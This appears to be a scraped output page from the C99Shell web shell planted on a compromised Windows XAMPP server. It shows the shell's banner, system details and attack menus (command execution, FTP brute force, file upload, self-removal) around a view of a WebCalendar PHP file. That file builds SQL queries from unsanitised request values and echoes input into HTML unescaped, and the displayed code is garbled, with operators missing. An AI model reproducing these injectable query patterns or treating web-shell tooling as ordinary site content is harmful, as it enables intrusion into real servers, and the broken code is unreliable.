!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\jaime\nuevo\WebCalendar-1.0.2\   drwxrwxrwx
Free 7.96 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     set_entry_cat.php (2.91 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once 'includes/init.php';
load_user_categories();

$error "";

if ( empty ( 
$id ) )
  
$error translate("Invalid entry id") . ".";
else if ( 
$categories_enabled != "Y" )
  
$error translate("You are not authorized") . ".";
else if ( empty ( 
$categories ) )
  
$error translate("You have not added any categories") . ".";

// make sure user is a participant
$res dbi_query "SELECT cal_category, cal_status FROM webcal_entry_user " .
  
"WHERE cal_id = $id AND cal_login = '$login'" );
if ( 
$res ) {
  if ( 
$row dbi_fetch_row $res ) ) {
    if ( 
$row[1] == "D" // User deleted themself
      
$error translate("You are not authorized") . ".";
    
$cur_cat $row[0];
  } else {
    
// not a participant for this event
    
$error translate("You are not authorized") . ".";
  }
  
dbi_free_result $res );
} else {
  
$error translate("Database error") . ": " dbi_error ();
}

// Get event name and make sure event exists
$event_name "";
$res dbi_query "SELECT cal_name FROM webcal_entry " .
  
"WHERE cal_id = $id);
if ( 
$res ) {
  if ( 
$row dbi_fetch_row $res ) ) {
    
$event_name $row[0];
  } else {
    
// No such event
    
$error translate("Invalid entry id") . ".";
  }
} else {
  
$error translate("Database error") . ": " dbi_error ();
}

// If this is the form handler, then save now
if ( ! empty ( $cat_id ) && empty ( $error ) ) {
  
$sql "UPDATE webcal_entry_user SET cal_category = $cat_id " .
    
"WHERE cal_id = $id and cal_login = '$login'";
  if ( ! 
dbi_query $sql ) ) {
    
$error translate "Database error" ) . ": " dbi_error ();
  } else {
    
$url "view_entry.php?id=$id";
    if ( ! empty ( 
$date ) )
      
$url .= "&amp;date=$date";
    
do_redirect $url );
  }
}

print_header();
?>

<?php if ( ! empty ( $error ) ) { ?>
<h2><?php etranslate("Error")?></h2>
<blockquote>
<?php echo $error?>
</blockquote>

<?php } else { ?>
<h2><?php etranslate("Set Category")?></h2>

<form action="set_entry_cat.php" method="post" name="SelectCategory">

<input type="hidden" name="date" value="<?php echo $date?>" />
<input type="hidden" name="id" value="<?php echo $id?>" />

<table style="border-width:0px;" cellpadding="5">
<tr style="vertical-align:top;"><td style="font-weight:bold;">
    <?php etranslate("Brief Description")?>:</td><td>
    <?php echo $event_name?>
</td></tr>
<tr style="vertical-align:top;"><td style="font-weight:bold;">
    <?php etranslate("Category")?>:&nbsp;</td><td>
    <select name="cat_id">
        <option value="NULL"><?php etranslate("None")?></option>
  <?php
    
foreach ( $categories as $K => $V ) {
      if ( 
$K == $cur_cat )
        echo 
"<option value=\"$K\" selected=\"selected\">$V</option>\n";
      else
        echo 
"<option value=\"$K\">$V</option>\n";
    }
  
?>
    </select>
</td></tr>
<tr style="vertical-align:top;"><td colspan="2">
    <input type="submit" value="<?php etranslate("Save");?>" />
</td></tr>
</table>
</form>
<?php ?>

<?php print_trailer(); ?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--